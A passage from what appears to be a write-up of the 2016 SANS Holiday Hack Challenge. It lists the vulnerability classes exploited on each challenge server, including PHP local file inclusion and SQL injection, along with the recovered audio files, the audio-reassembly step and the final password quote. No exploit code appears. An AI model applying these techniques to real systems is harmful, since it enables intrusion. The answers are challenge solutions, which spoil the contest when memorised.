      • Unprotected debugging interface
  • The Debug Server
    • Vulnerabilities discovered/exploited:
      • Inadequate input validation
      • Unauthenticated access to privileged information
  • The Banner Ad Server
    • Vulnerabilities discovered/exploited:
      • Excessive / unnecessary information disclosure.
  • The Uncaught Exception Handler Server
    • Vulnerabilities discovered/exploited:
      • PHP local file inclusion via PHP-wrapper
  • The Mobile Analytics Server (post authentication)
    • Vulnerabilities discovered/exploited:
      • SQL injection

8) What are the names of the audio files you discovered from each system above?

  • The Mobile Analytics Server (via credentialed login access)
    • Audio file recovered:
      • discombobulatedaudio2.mp3
  • The Dungeon Game
    • Audio file recovered:
      • discombobulatedaudio3.mp3
  • The Debug Server
    • Audio file recovered:
      • debug-20161224235959-0.mp3
  • The Banner Ad Server
    • Audio file recovered:
      • discombobulatedaudio5.mp3
  • The Uncaught Exception Handler Server
    • Audio file recovered:
      • discombobulated-audio-6-XyzE3N9YqKNH.mp3
  • The Mobile Analytics Server (post authentication)
    • Audio file recovered:
      • discombobulatedaudio7.mp3

Part 5: Discombobulated Audio


With 6 of the 7 discombobulated audio files, I should have enough to decipher the message (or so I’m told), luckily I have all 7!  After listening to the audio files, they seem to have suffered some damage in the form of some noise and a pretty serious slow-down.

Let’s download Audacity and see if they can be sped up and reassembled.  As most of the audio files are conveniently numbered, I’m going to assume that the numbering indicates the sequence of their order.  There is one audio file which has no numbering  but since we have all of the other files this unnumbered file must implicitly be #4.

After speeding up the clips (whilst preserving pitch – for fear of accusing a chipmunk of abducting Santa) by a factor of 8, and reassembling them I am able to hear a voice with what sounds like a British accent saying…

“Father Christmas, Santa Claus, or as I’ve always known him, Jeff”

I wonder if part of this phrase or the whole thing is going to be the password to final door… I better check with Google and make sure I’ve transcribed the words properly.  After some quick Googling it turns out I was spot on, the full quote is…

“Father Christmas, Santa Claus, or as I’ve always known him, Jeff”

Google informs me that this is a quote from the 2010 Dr. Who  Christmas special [*].  Let’s see if we can use this to get through the the last door.

[*] http://www.imdb.com/title/tt1672218/quotes

drwho0

After entering many different fragments of this phrase into the password box, I decided to try the whole phrase in a last-ditch effort.

It worked!  The final room is called the Clock Tower, let’s head up and see whodunnit.

Wow – that was a long password to type (and I’d love to see the regex that was used to match it!)

drwhoIt appears the nefarious villian is none other than Dr. Who (thanks for the spoiler Google) :/

Like all villains, Dr. Who insisted on monologuing his evil plan.  I’ve spent so much time trying to solve this mystery, Let’s let him complete his monologue…

It appears that Dr. Who kidnapped Santa to use his North Pole Wonderland “magick” back in 1978 to stop the appalling Star Wars Christmas special from ever being released.  A noble undertaking however misguided it may have been.

9) Who is the villain behind the nefarious plot.200.gif

Dr. Who

10) Why had the villain abducted Santa?

Dr. Who kidnapped Santa to take him back to 1978 with the hopes of using his North Pole Wonderland Magick powers to prevent the release of the Star Wars Christmas Special.  The Star Wars Christmas Special was so horribly appalling that Dr. Who wanted to heal the world by having it never having to experience it.

Acknowledgements

I’d like to thank everyone involved in putting together this year’s Holiday Hack Challenge.  I’d especially like to thank to Ed Skoudis (and his team at CounterHack.net) and Joshua Wright for putting this challenge together.

Another exceptional job.  Well done !